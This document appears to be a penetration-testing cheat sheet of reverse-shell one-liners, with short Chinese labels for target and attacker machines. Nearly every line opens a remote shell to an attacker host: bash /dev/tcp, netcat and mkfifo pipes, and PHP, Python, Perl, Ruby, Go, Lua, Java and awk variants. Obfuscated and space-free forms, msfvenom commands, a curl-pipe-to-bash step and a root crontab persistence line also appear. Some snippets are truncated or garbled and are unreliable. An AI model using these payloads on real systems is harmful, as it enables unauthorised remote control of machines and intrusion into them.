>/bin/bash -i > /dev/tcp/attackerip/4444 0<&1 2>&1

>bash -i >& /dev/tcp/attackerip/4444 0>&1

>0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

>msfvenom -p cmd/unix/reverse_bash LHOST=attackerip LPORT=4444 -o shell.sh

bash udp
靶机sh -i >& /dev/udp/10.0.0.1/4242 0>&1，攻击机监听nc -u -lvp 4242
bash base64
>bash -c '{echo,L2Jpbi9iYXNoJTIwLWklMjAlM0UlMjYlMjAvZGV2L3RjcC9hdHRhY2tlcmlwLzQ0NDQlMjAwJTNFJTI2MSUyMCUyMCUyMA==}|{base64,-d}|{bash,-i}'
其他shell
sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

>nc -e /bin/sh attackerip 4444
>nc -e /bin/bash attackerip 4444
>nc -c bash attackerip 4444
>nc -Lp 31337 -vv -e cmd.exe
&
>mknod backpipe p; nc 192.168.0.107 12138 0<backpipe | /bin/bash 1>backpipe
>nc 192.168.0.10 31337
openbsd
>rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
BusyBox
>rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

>mknod backpipe p; telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.107/1234 0>&1'");?>
>php -r '$sock=fsockopen("10.0.0.1",4242);>("/bin/sh -i <&3 >&3 2>&3");'
>php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
>php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
>php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
>php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
>php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
>php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

>python -c ' import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]); '
>msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
>python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
>python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
>import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('IP',端口)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)
>export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

没空格
>python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
>python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
>python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
没空格，缩短
>python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
>python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
>python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
没空格，缩的更短
>python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
>python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
>python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
ipv6
>python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
ipv6没空格
>python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
ipv6没空格，缩短
>python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

>C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

>perl -e 'use Socket;$i=" attackerip ";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
>perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
>perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' #####windows

>ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
>ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
Windows
>ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

1.html内容
/bin/bash -i >& /dev/tcp/attackerip/4444 0>&1
执行
>curl attackerip/1.html|bash

* * * * * root bash -i >& /dev/tcp/attackerip/4444  0>&1

攻击机>socat file:`tty`,raw,echo=0 TCP-L:4242
靶机>/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

靶机>wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Linux
>lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Windows
>lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();

>awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

编译
>gcc /tmp/shell.c --output csh && csh